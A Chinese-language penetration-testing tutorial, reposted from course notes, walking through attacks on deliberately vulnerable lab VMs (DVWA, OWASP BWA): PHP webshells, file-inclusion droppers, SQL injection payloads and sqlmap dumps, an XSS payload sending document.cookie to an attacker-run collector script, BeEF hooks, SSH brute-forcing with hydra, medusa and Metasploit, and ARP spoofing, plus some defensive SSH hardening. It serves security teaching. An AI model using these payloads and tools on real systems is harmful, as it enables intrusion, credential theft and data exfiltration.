前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一文带你网络安全 入门到入* [网络安全]

一文带你网络安全 入门到入* [网络安全]

作者头像
天钧
发布2020-07-24 09:42:33
4.8K0
发布2020-07-24 09:42:33
举报
文章被收录于专栏:渗透云笔记渗透云笔记

笔记来源B站视频(知识区>野生技术协会) 黑客攻防 从入门到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS

正文共: 19124字 155图

预计阅读时间: 48分钟

已经获得作者授权转发

一、文件上传漏洞原理

实验靶机:OWASP_BrokenWeb_Apps_VM_1.2 下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

测试渗透机:Kali_Linux 官网下载地址:https://www.kali.org/downloads/

1、实验原理

2、实验过程

实验一: 低安全模式下,上传任意类型文件,对文件的限制不大

实验二: 中安全模式下,绕过上传文件的类型 开启 BurpSuite ,设置代理地址(攻击机的地址) 修改浏览器代理,用 BurpSuite 实现拦截功能 在被拦截的数据中修改Content-Type的信息,改为 image/JPEG

实验二实现原理:

实验三: 高安全模式,上传一句话图片木马(文件后缀名限制)

上传一句话木马图片(结合下面的 webshell 进行操作) 用工具 edjpgcom 给图片写入木马,执行图片内容生成木马,用中国菜刀连接进行后台操作

在后面章节的 文件包含漏洞 - ->本地文件 + webshell 会提到具体的操作方法

edjpgcom工具链接: 蓝奏云:https://www.lanzoux.com/iJ9cce8fphe

3、webshell

代码语言:javascript
复制
代码语言:javascript
复制
shell2.php
<?php eval($_REQUEST['cmd']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();

shell3.php
<?php system($_REQUEST['yangge']);?>

http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd
代码语言:javascript
复制

_REQUEST和 _POST的区别

< ?php eval($_REQUEST[‘hello’]);? >(hello可以改) 在地址栏用参数一条一条地操作

代码语言:javascript
复制
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?hello=phpinfo();

< ?php eval($_POST[‘hello’]);? >(hello可以改) 用工具(中国菜刀)连接进行后台操作

4、菜刀详解+官网下载链接

中国菜刀官网:http://www.maicaidao.co/ 腾讯哈勃查毒(轻度风险):https://habo.qq.com/

在文件中找到readme.txt,里面有详细使用方法

二、文件包含渗透 File Inclusion

1、项目实验环境

本地文件包含:LFI 远程文件包含:RFI

老师手绘图

绿色框:正常文件 红色框:上传恶意的本地文件 黄色框:让服务器主动访问恶意的远程文件

2、文件包含漏洞危害及原理

2.1、低安全级别

本地文件包含

本地文件包含 + webshell

代码语言:javascript
复制
一句话木马脚本
代码语言:javascript
复制
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
代码语言:javascript
复制
edjpgcom工具链接:
蓝奏云:https://www.lanzoux.com/iJ9cce8fphe
天翼:https://cloud.189.cn/t/R7VFjuZRbMJb(访问码:n4d1)

注意:图片不能太大,否则可能运行不了

代码语言:javascript
复制
代码语言:javascript
复制
相对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge
.jpg
绝对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/upload
s/yangge.jpg
代码语言:javascript
复制

远程文件包含 + webshell

建立远程服务器 安装web服务(apache2) apt-get install apache2 开启web服务 systemctl start apache2 编写脚本文件 vim /var/www/html/yangge.txt

代码语言:javascript
复制
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>

2.2、中安全级别

本地文件包含: 和低安全级别操作一样 本地文件包含 + webshell: 和低安全级别操作一样

远程文件包含 + webshell 后台源码用str_replace函数只替换一个http://,改成http:http:////即可

2.3、高安全级别

后台源码写死,文件后缀名限制,安全但不灵活

三、SQL注入攻击及防御

1、项目实验环境

实验靶机:OWASP_BrokenWeb_Apps_VM_1.2 下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

测试渗透机:Kali_Linux 官网下载地址:https://www.kali.org/downloads/

2、SQL注入危害

  1. 拖库导致用户数据泄露
  2. 危害web等应用的安全
  3. 失去操作系统的控制权
  4. 用户信息被非法买卖
  5. 危害企业及国家的安全

3、SQL基础回顾

1、登录OWASP 登录OWASP

2、查看数据库 show databases; 查看所有数据库 select database(); 查看当前所在的库 use dvwa; 使用dvwa库 3、查看当前库中的表 show tables; 4、查看表结构 desc table; 5、查看表记录 比如select语句

代码语言:javascript
复制

当前库dvwa dvwa .users
代码语言:javascript
复制
mysql> select * from users;
mysql> select user_id,first
代码语言:javascript
复制

其它库 mysql.user
代码语言:javascript
复制
mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;
代码语言:javascript
复制
其它库 wordpress .user
代码语言:javascript
复制
mysql> desc wordpress.wp_users;
mysql> select * from wordpress.wp_users;
wysql> select user_login,user_pass from wordpress.wp_users;
代码语言:javascript
复制
代码语言:javascript
复制
mysql> select user,password,host from mysql.user where user='root';
mysqi> select user,password,host from mysql.user where user='root' and host='localhost':
mysql> select user,password,host from mysql.user where user='root' or host='localhost';
代码语言:javascript
复制

代码语言:javascript
复制
mysql> desc dvwa .users;
mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;
代码语言:javascript
复制

联合查询

代码语言:javascript
复制
注:union查询前后字段数必须相同


mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;



注入语句

代码语言:javascript
复制


mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;



6、information_schema(元数据)

代码语言:javascript
复制
代码语言:javascript
复制
====查询数据库库名、表名 information_schema.tables===
mysql> select * from information_schema.TABLES\G
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY
TABLE_SCHEMA\G

mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa';
代码语言:javascript
复制
代码语言:javascript
复制
代码语言:javascript
复制
===查询数据库库名、表名、字段名 information_schema.columns===
mysql> select * from information_schema.columns\G
mysql> select column_name from INFORMATION_SCHEMA.columns
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa’ and table_name='users';  //相当于desc
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES';
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';
代码语言:javascript
复制

4、SQL注入流程

5、手动注入实战

5.1、基于错误的注入

目的:试探某位置是否有注入点

语句分析

输入单引号 ’ 报错

代码语言:javascript
复制
select first_name,last_name from dvwa users where user_id='''

5.2、基于布尔的注入

注入语句

代码语言:javascript
复制
select first_name,last_name from dvwa users where user_id='' or 1=1

' or 1=1 -- yangge 第一个 ' 是为了闭合前面的条件 or 1=1 为真的条件 - - 注释掉后面所有语句

一般可以查到本张表的所有数据

5.3、基于UNION的注入
代码语言:javascript
复制

代码语言:javascript
复制
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '

mysql> select first_name,last_name from dvwa.users where user_id='' 
union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''

mysql> select first_name,last_name from dvwa.users where user_id='' 
union select table_name,1 from INFORMATION_SCHEMA.tables
' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' 
union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables
代码语言:javascript
复制
代码语言:javascript
复制
mysq1> select first_name,last_name from dvwa.users where user_id='$id'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name=
"users'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name=
'USER PRIVILEGE' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name=
'SCHEMA_PRIVILEGES' --'
代码语言:javascript
复制
代码语言:javascript
复制

代码语言:javascript
复制
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
'union select password, concat(first_name,' ',last_name,' ',user)  from users --'
输入语句
mysq1> select first_name,last_name from dvwa.users where user_id='
'union select password, concat(first_name,' ',last_name,' ',user)  from users
代码语言:javascript
复制

注入语句

可以查到本张表以外的其他表的数据 前提是 第一要知道union前面SQL语句查询的字段数 第二要知道union后面的要查的那张表的字段名

5.4、基于时间的盲注

SQL injection (Blind) - 盲注

有些数据库对错误信息做了安全配置,使得不能通过以上方法探测到注入点,此时,通过设置 sleep 语句来探测注入点 1' and sleep(5) -- '

代码语言:javascript
复制
SQL注入语句解析:
代码语言:javascript
复制
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5)
代码语言:javascript
复制

6、SQLmap自动注入

  SQ注入比较好用的工具,首推开源工具 SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中有的数据,访可操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。    SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等数据库的各中安全漏洞检测 sqlmap -hh | less

各行参数自行翻译(本人英语渣渣)

6.1、GET方法注入+数据获取

有登陆权限漏洞的靶机 OWASPMutillidae ‖

通过指定参数注入(复制网页链接,再加上参数)

代码语言:javascript
复制
root@kali#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username

获取所有数据库

代码语言:javascript
复制
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.php susername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs

获取所有用户

代码语言:javascript
复制
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users

获取当前用户

代码语言:javascript
复制
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user
代码语言:javascript
复制
代码语言:javascript
复制
--users  //获取全部用户
--current-user //获取当前用户
--dbs  //获取全部数据库
--current-db  //获取当前数据库
-D "database_name" --tables
-D "database_name" -T "table_name" --colun
--dump-all //整个数据库全部dump(拿)下来
--dump-all --exclude-sysdbs //排除系统库
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump

--batch //自动化完成![在这里插入图片描述](https://img-blog.csdnimg.cn/2020
0620142056130.png)
代码语言:javascript
复制

演示步骤:

6.2、POST方法注入+数据获取

需要带cookie才能访问注入的页面, – cookie=""

代码语言:javascript
复制
root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="换成自己的" --batch

多个 cookie 用 ; 分开 cookie 的内容 – > PHPSESSID = ID(主意,要用 =,而不是 :)

演示步骤(和GET差不多):

6.3、提权操作

提权操作:--sql-shell

获取sql权限后(操作数据库): sql-shell:select * from users;

6.4、综合实例

四、跨站脚本攻击 XSS

1、XSS简介

2、原理解析

一般针对搜索框

3、构造XSS脚本

3.1、常用HTML标签
3.2、常用JavaScript方法
3.3、构造XSS脚本

主要用到这两条命令

代码语言:javascript
复制
代码语言:javascript
复制
<script src="http://BeEF_IP:3000/hook.js"></script>
<img src="http://BeEF_IP:3000/hook.js"></img>
代码语言:javascript
复制

4、反射型XSS (XSS reilected)

4.1、安全级别

低安全级别

可以直接发送代码段(XSS reilected 和 XSS stored 都行)

代码语言:javascript
复制
弹框警告:
<script>alert('yangge')</script>
<script>alert(document.cookie)</script>
页面重定向:
代码语言:javascript
复制
<script>location.href="http://www.baidu.com"</script>
代码语言:javascript
复制
手工XSS

5、存储型XSS (XSS stored)

存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等; 用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。

手工【低】

代码语言:javascript
复制
攻击1 弹框告警∶ 渗透机 kali Linux 端操作
	text1
	<script>alert('yangge')</script>

攻击2 获取cookie: 渗透机 Kali Linux端操作
	1. 构建收集cookie服务器
	2. 构造XSS代码并植入到Neb服务器
	3. 等待肉鸡触发xSS代码并将cookie发送到Kali
	4.Cookie利用

获取用户 cookie 在 kali 打开 apache 服务 systemctl start apache2 新建一个存放cookie的php文件 vim /var/www/html/cookie_rec.php 写入内容:

代码语言:javascript
复制
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
代码语言:javascript
复制

给目录权限 chown -R www-data.www-data /var/www/

代码语言:javascript
复制
通过渗透机植入XSS代码:


<script>window.open('http://192.168.106.176/cookie_rec.php?cookie='+document.coo
kie)</script>


注:192.168.106.176 为kali Linux IP(换成自己的)
注:先清除之前植入的XSS代码

再用另外一台电脑访问该网站,就可以在 /var/www/html/cookie.txt 文件中看到已经获取到cookie

6、自动化XSS

6.1、BeEF简介

Browser Exploitation Framework (BeEF) BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单; http://beefproject.com/

信息收集: 1.网络发现 2.主机信息 3.Cookie获取 4.会话劫持 5.键盘记录 6.插件信息

持久化控制: 信息收集: 1.网络发现 2.主机信息 3.Cookie获取 4.会话劫持 5.键盘记录 6.插件信息

持久化控制: 1确认弹框 2.小窗口 3.中间人

社会工程: 1.点击劫持 2.弹窗告警 3.虚假页面 4.钓鱼页面

6.2、BeEF基础

启动Apache和BeEF: service apache2 start

注:先清除之前植入的XSS代码

在浏览器登录beef:http://127.0.0.1:3000/ui/panel (127.0.0.1 换成自己IP) 登录账号:beef 登录密码:beef

6.3、信息收集

命令颜色(Color): 绿色 对目标主机生效并且不可见(不会被发现) 橙色 对目标主机生效但可能可见(可能被发现) 灰色 对目标主机未必生效(可验证下) 红色 对目标主机不生效

反射型 - - 》非持久化 储存型 - - 》持久化

五、Web信息收集之搜索引擎

搜索引擎: Google Hacking(谷歌) Shodan Hacking(撒旦) Zoomeye Hacking(钟馗之眼 - 撒旦国内版)

信息收集概述

  1. Web信息搜集(探测)即web踩点,主要是掌握目标Web服务的方方面面,是实现web渗透入侵前的准备工作
  2. Web踩点内容包括操作系统、服务器类型、数据库类型、web容器、web语言、域名信息、网站目录…
  3. Web信息搜集涉及搜索引擎、网站扫描、域名遍历、指纹识别等工作

项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

1、Google Hacking

不同的搜索行为 1、site

2、filetype

3、inurl

4、intitle

5、intext

实例

符号

参考 搜索:测验分数(test scores)但不是SAT入学分数的文章:

搜索:一份关于常见燕子飞行速度的专业报告

搜索:Dr.Ronald L.Green和Dr. Thomas P.Buttz.所写的关于光合作用(photosynthesis)的记文:

2、Shodan Hacking

https://www.shodan.io Shodan(撒旦搜索引擎)是由Web工程师John Matherly(马瑟利)编写的,被称为“最可怕的搜索引擎”,可扫描一切联网的设备,除了常见的web服务器;还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备

ip 114.114.114.114

service/protocol

keyword 基于关键词搜索的思路是根据banner信息(设备指纹)来搜索 “default password” country:“TH” FTP anon successful

country country:cn country:us country:jp

product product:“Microsoft IIS httpd” product:“nginx” product:“Apache httpd” product:MySQL

version product:MySQL version:“5.1.73” product:“Microsoft IIS httpd” version:“7.5”

hostname hostname: org hostname: edu

OS os:“Windows Server 2008 R2” os:“Windows 7 or 8” os:“Linux 2.6.x”

net net net:110.180.13.0/24 200 ok net:110,180.13.0/24 200 ok country: JP net:110.180.13.0/24

port port: 3389 port: 445 port: 22 port: 80 port: 443

综合示例

代码语言:javascript
复制
搜索日本区开启80端口的设备:
country:jp port:"80"
country:jp port:"80" product:"Apache httpd"
country:jp port:"80" product:"Apache httpd" city:"Tokyo"
country:jp port:"80" product:"Apache httpd" city:"Tokyo" os:"Linux 3.x"

搜索日本区使用Linux2.6.x系统的设备:
country:jp os:"Linux 2.6.x"
country:jp os:"Linux 2.6.x" port:"80"
country:jp os:"Linux 2.6.x" port:"80" product:"Apache httpd"

搜索日本区使用windows Server 系统的设备:
country:jp os:"Windwws Server 2008 R2"
country:jp os:"Windows Server 2003" port:"445"
country:jp os:"Nindows Server 2003" port:"80"

授索日本区使用Microsoft IIS的设备:
country:jp product:"Microsoft IIS httpd" version:"7.5"
代码语言:javascript
复制


3、Zoomeye Hacking

概述 https://www.zoomeye.org

用户手册(shift+/):https://www.zoomeye.org/help 自己去玩玩。。。

六、Web信息收集之目标扫描

1、项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

2、nmap(命令行)

nmap简介 Nmap是安全渗透领域最强大的开源端口扫描器,能跨平台支持运行。 Nmap官网:https://nmap.org/ Nmap的帮助文档:https://nmap.org/book/man.html 其他安全工具:http://sectools.org/

扫描示例

代码语言:javascript
复制
主机发现:nmap -sn 192.168.106/24
端口扫描:nmap -sS -p1-1000 192.168.106.134
(-sS原理,给对方发一个SYN握手包,若对方回一个SYN/ACK,则开启了探测端口;若回一个RESE
T/ACK,则没有开启探测端口)
系统扫描:nmap -O 192.168.106.134
版本扫描:nmap -sV 192.168.106.134
综合扫描:nmap -A 192.168.106.134
脚本扫描:
		
代码语言:javascript
复制
root@kali:/usr/share/nmap/scripts#
    nmap --script=default 192.168.106.134
    nmap --script=auth 192.168.106.214
    nmap --script=brute 192.168.106.134
    nmap --script=vuln 192.168.106.134
    nmap --script=broadcast 192.168.106.134
    nmap --script=smb-brute.nse 192.168.106.134

    nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.106.134
    nmap --script=smb-vuln-conficker.nse --script-args=unsafe=1 192.168.106.134    
    nmap -p3306 --script=mysql-empty-password.nse 192.168.106.134
代码语言:javascript
复制

3、zenmap(图形界面)

Intense scan(强烈扫描): nmap -T4 -A -v 192.168.106.1 -T 设置速度等级,1到5级,数字越大,速度越快 -A 综合扫描 -v 输出扫描过程

Intense scan plus UDP: nmap -sS -sU -T4 -A -v 192.168.106.134 -sS TCP全连接扫描 -sU UDP扫描

Intense scan, all TCP ports: nmap -p 1-65535 -T4 -A -v 192.168.106.134 -p 指定端口范围,默认扫描1000个端口

intense scan no ping: nmap -T4 -A -v -Pn 192.168.106.0/24 -Pn 不做ping扫描,例如针对防火墙等安全产品

ping scan: nmap -sn 192.168.106.0/24 nmap -sn -T4 -v 192.168.106.0/24 -sn 只做ping扫描,不做端口扫描

quick scan: nmap -T4 -F 192.168.106.134 -F fast模式,只扫描常见服务端口,比默认端口(1000个)还少

Quick scan plus: nmap -sV -T4 -O -F --version-light 192.168.106.134 -sV 扫描系统和服务版本 -O 扫描操作系统版本

Quick traceroute: nmap -sn --traceroute www.qfedu.com - -traceroute 追踪经过的路由站

Regular scan: nmap www.qfedu.com 标准扫描

Slow comprehensive scan:

代码语言:javascript
复制
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53--script "default or (discovery and safe)" www.baidu.com

全面扫描(慢)

4、OpenVAS

信息扫描工具

http://www.openvas .org/ http://www.greenbone.net/

部署OpenVAS

代码语言:javascript
复制
升级Kali Linux
root@kali:~# apt-get update
rootekali:~# apt-get dist-upgrade

安装openVAS
root@kali:~# apt-get install openvas
root@kali:~# openvas-setup

修改admin账户密码
root@kali:~# openvasmd --user=admin --new-password=yangge

修改默认监听IP
root@kali:~# vim /lib/systemd/system/greenbone-security-assistant.service

启动OpenVAS
root@kali:~# openvas-start
代码语言:javascript
复制

检查安装: root@kali:~#ss -tnlp root@kali:~#openvas-check-setup

登录OpenVAS https://192.168.106.158:9392 #192.168.106.158为 Kali IP地址 端口9392 注:是https

高级 - > 允许访问

新建扫描task

高级扫描task

结果:

七、Web漏洞扫描之AppScan

IBM@ Security AppScan@ 是一个适合安全专家的Web应用程序和Web服务渗透测试解决方案 国外商业漏扫产品中,少有的能支持中文的漏扫,运行于windows平台; 界面清晰、配置简单丰富的中文和产品文档,详细的漏洞说明和修复建议; 支持丰富的扫描报告,包括安全性、行业标准、合规一次性报告。 https://www.ibm.com/developerworks/cn/downloads/r/appscan/

1.功能及特点

2.项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

3.AppScan安装 在官网下载到Windows上安装

4.创建扫描

下一步

下一步 - >完成 - > 扫描 - > 保存结果

八、Web漏扫之 Burp suite

1.功能以及特点

https://portswigger.net/burp/

Target: 目标模块用于设置扫描域(target scope)、生成站点地图(sitemap)、生成安全分析

Proxy: 代理模块用于拦截浏览器的http会话内容

Spider: 爬虫模块用于自动爬取网站的每个页面内容,并生成完整的网站地图

Scanner: 扫描模块用于自动化检测漏洞,分为主动和被动扫描

Intruder: 入侵(渗透)模块根据上面检测到的可能存在漏洞的链接,调用攻击载荷,对目标链接进行攻击入侵模块的原理是根据访问链接中存在的参数/变量,调用本地词典、攻击载荷,对参数进行渗透测

Repeater: 重放模块用于实现请求重放,通过修改参数进行手工请求回应的调试

Sequencer: 序列器模块用于检测参数的随机性,例如密码或者令牌是否可预测,以此判断关键数据是否可被伪造

Decoder: 解码器模块用于实现对URL、HTML、Base64、ASCII、二/八/十六进制、哈希等编码转换

Comparer 对比模块用于对两次不同的请求和回应进行可视化对比,以此区分不同参数对结果造成的影响

Extender: 拓展模块是burpsuite非常强悍的一个功能,也是它跟其他web安全评估系统最大的差别,通过拓展模块,可以加载自己开发的、或者第三方模块,打造自己的burpsuite功能通过burpsuite提供的API接口,目前可以支持Java、Python、Ruby三种语言的模块编写

Options: 分为Project/User Options,主要对软件进行全局设置

Alerts: 显示软件的使用日志信息

2.项目实验环境

  1. 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
  2. 测试透机: win7/Kali

3.Burp Suite安装

启动方法:java -jar -Xmx1024M /burpsuite_path/BuppHe1per.jar

4.Burp Suite使用

代理功能【Proxy】 目标功能【Target】

开启监听端口 浏览器设置代理 代理功能详解 拦截账号信息

查看站点地图

设置过滤器

爬虫功能【Spider】

准备工作: 设置代理获取域名【略】 访问目标网站 设置目标域 拦截功能关闭

爬虫选项

执行爬虫,在站点地图中发送给爬虫

扫描功能【Scanner】

准备工作: 设置代理获取域名【略】 访问目标网站 设置目标域 拦截功能关闭

扫描选项之扫描方式: 主动扫描精准度高时间长影响大消耗资源大 被动扫描精准度低时间短影响小消化资源小

攻击插入点

主动扫描

被动扫描

漏洞扫描

漏洞问题

保存导出问题

使用主动扫描 站点地图中选中主动扫描的网站或分支

打开报告

九、SSH密码暴力破解及防御实战

1、hydra [海德拉]

**海德拉(Hydra):**希腊神话中的九头蛇,是西方的神话生物,在古希腊神话中出现最为频繁。传说它拥有九颗头,其中一颗头要是被斩断,立刻又会生出两颗头来。

hydra是世界顶级密码暴力密码破解工具,支持几所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

指定用户破解

代码语言:javascript
复制
代码语言:javascript
复制
Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults .txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

rootekali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh
用户列表破解
代码语言:javascript
复制
代码语言:javascript
复制
代码语言:javascript
复制
root@kali:~# cat userlist.txt
admin
root
tianyun
yangge
zhuzhuxia

root@kali:~# cat passlist.txt
123
abc,123
root
admin
owaspbwa
yangge
root@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh
代码语言:javascript
复制
结果导出到 
代码语言:javascript
复制
ssh-hydra.ok
root@kali:~#hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok
代码语言:javascript
复制

2、Medusa [美杜莎] 美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面撩牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下将美杜莎的头发变成毒蛇,变成面目丑陋的怪物。

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra —样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。

语法参数

破解SSH密码

代码语言:javascript
复制
root@kali:~#medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt
代码语言:javascript
复制
root@kali:~#medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt
代码语言:javascript
复制
root@kali:~#medusa -M ssh -h 192.168.106.134 -U userlist.txt -p passlist.txt -F
代码语言:javascript
复制
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -O ssh.log输出到ssh.log

3、patator Patator :强大的命令行暴力破解器

可用模块

破解SSH密码

代码语言:javascript
复制
root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt
代码语言:javascript
复制
root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed.'

4、BrutesPray

Kali端安装 root@kali:~# apt-get update root@kali:~# apt-get install brutespray

语法参数

nmap扫描

代码语言:javascript
复制
root@kali:~# nmap -v 192.168.106.0/24 -oX nmap.xml
root@kali:~# nmap -A -p22 -v 192.168.106.0/24 -oX 22.xml
root@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive.xml
root@kali:~# nmap -sV -O 192.168.106.0/24 -oX nmap.xml

字典爆破SSH

代码语言:javascript
复制
root@kali:~# brutespray --file 22.xml -U userilst.txt -P passlist.txt --threads 5 --hosts 5

爆破成功可以到这个文件下查看

代码语言:javascript
复制
cat /root/brutespray-output/ssh-success.txt

5、MSF

SSH模块 root@kali:~# msfconsole msf > search ssh

SSH用户枚举(ssh_enumusers)

代码语言:javascript
复制
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(scanner/ssh/ssh_enumusers)> set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist. txt
msf auxiliary(scanner/ssh/ssh_enumusers) > run

SSH版本探测(ssh_version)

代码语言:javascript
复制
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_version) > run

SSH 暴力破解(ssh_login)

代码语言:javascript
复制
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_login) > run

6、暴力破解防御

代码语言:javascript
复制
1. useradd shell【推荐】
[root@tianyun ~]# useradd yangge -s /sbin/nologin

2. 密码的复杂性【推荐】
字母大小写+数字+特殊字符+20位以上+定期更换

3. 修改默认端口【推荐】
/etc/ssh/sshd_config
Port 22222

4. 限止登录的用户或组【推荐】
#PermitRootLogin yes
AllowUser yangge

[root@tianyun ~]# man sshd_config
AllowUsers AllowGroups DenyUsers DenyGroups

使用sudo【推荐】

5.设置允许的IP访问【可选】
/etc/hosts.allow ,例如sshd:192.168.106.167:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机

6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny

7. 基于PAM实现登录限制【推荐】
模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
代码语言:javascript
复制
代码语言:javascript
复制
[root@tianyun ~]# grep tally2 /etc/pam.d/sshd auth   required   pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6
代码语言:javascript
复制
代码语言:javascript
复制
8. 禁用密码改用公钥方式认证
/etc/ssh/sshd_config
PasswordAuthentication no
代码语言:javascript
复制
9. 保护xshell导出会话文件【小心】

10.GRUB加密【针对本地破解】

在文件 /etc/pam.d/su 中加入 auth sufficient pam rootok.so 那么只要用 root 用户进行ssh登录,密码随便乱输入也能登陆

十、中间人攻击及防御

中间人攻击也叫ARP 欺骗 、ARP 毒化

kali 攻击工具:Ettercap ettercap -G (打开GUI界面) 搜索主机

添加需要毒化的主机

开始毒化

arp -a查看网关的 ip地址 对应的 mac地址是否被改变

防御:

代码语言:javascript
复制
linux系统下的配置
设置永久静态MAC地址:
arp -s IP地址 MAC地址
